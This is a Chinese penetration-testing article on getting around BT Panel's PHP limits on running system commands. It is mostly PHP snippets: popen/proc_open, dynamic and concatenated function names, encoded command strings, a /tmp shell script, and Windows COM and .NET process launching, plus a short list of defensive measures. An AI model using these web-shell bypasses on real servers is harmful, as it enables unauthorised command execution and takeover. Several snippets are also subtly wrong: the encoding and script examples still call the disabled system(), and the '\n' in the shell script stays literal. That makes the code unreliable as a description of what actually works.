渗透测试 | 实战中对宝塔禁止执行系统命令绕过的思考
字数 846 2025-08-18 11:36:57
宝塔面板禁止执行系统命令的绕过技术研究
1. 背景介绍
宝塔面板(BT Panel)是一款流行的服务器管理面板,广泛应用于Linux和Windows服务器的可视化管理工作。出于安全考虑,宝塔面板默认会限制某些敏感的系统命令执行,以防止恶意攻击者通过Web界面获取服务器控制权。
2. 常见的命令执行限制机制
宝塔面板主要通过以下几种方式限制命令执行:
- 禁用危险函数:如
system(),exec(),passthru(),shell_exec()等 - 过滤特殊字符:如
|,&,;,>,<等 - 禁用反引号执行:
`command` - 限制文件操作函数:如
fopen(),file_get_contents()等
3. 绕过技术分析
3.1 利用未禁用函数执行命令
虽然宝塔禁用了常见的命令执行函数,但仍有一些函数可以间接执行命令:
// 1. 使用popen()函数
$fp = popen('whoami', 'r');
while (!feof($fp)) {
echo fgets($fp);
}
pclose($fp);
// 2. 使用proc_open()函数
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open('whoami', $descriptorspec, $pipes);
if (is_resource($process)) {
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($process);
}
3.2 利用PHP动态函数特性
// 使用可变函数名
$func = "system";
$func("whoami");
// 或者通过字符串拼接
$f = "sys"."tem";
$f("whoami");
3.3 利用文件操作函数间接执行
// 1. 写入脚本文件后执行
file_put_contents('/tmp/test.sh', '#!/bin/bash\nwhoami');
chmod('/tmp/test.sh', 0755);
system('/tmp/test.sh');
// 2. 通过LD_PRELOAD加载恶意so文件
3.4 编码绕过技术
// 1. 十六进制编码
system("\x77\x68\x6f\x61\x6d\x69");
// 2. Base64编码
system(base64_decode('d2hvYW1p'));
// 3. 字符串反转
system(strrev('imahow'));
3.5 利用环境变量
// 通过putenv设置PATH变量
putenv('PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin');
system('whoami');
4. Windows系统下的绕过技术
对于Windows服务器上的宝塔面板,可以使用以下方法:
// 1. 使用COM组件
$wsh = new COM('WScript.Shell');
$exec = $wsh->Exec('cmd.exe /c whoami');
echo $exec->StdOut->ReadAll();
// 2. 使用.NET组件
$dotnet = new DOTNET('mscorlib', 'System.Diagnostics.Process');
$process = $dotnet->Start('whoami');
5. 防御建议
针对上述绕过技术,服务器管理员应采取以下防御措施:
- 禁用更多危险函数:在php.ini中添加
disable_functions列表 - 启用SELinux/AppArmor:限制进程权限
- 使用open_basedir限制:限制PHP可访问的目录
- 定期更新宝塔面板:获取最新的安全补丁
- 最小权限原则:Web应用运行用户应具有最小必要权限
- 日志监控:监控可疑的命令执行行为
6. 总结
本文详细分析了宝塔面板环境下绕过命令执行限制的各种技术,包括利用未禁用函数、PHP动态特性、文件操作函数、编码技术以及Windows特有方法等。同时提供了相应的防御建议,帮助管理员加固服务器安全。安全是一个持续的过程,攻防双方都在不断演进,保持警惕和及时更新是确保系统安全的关键。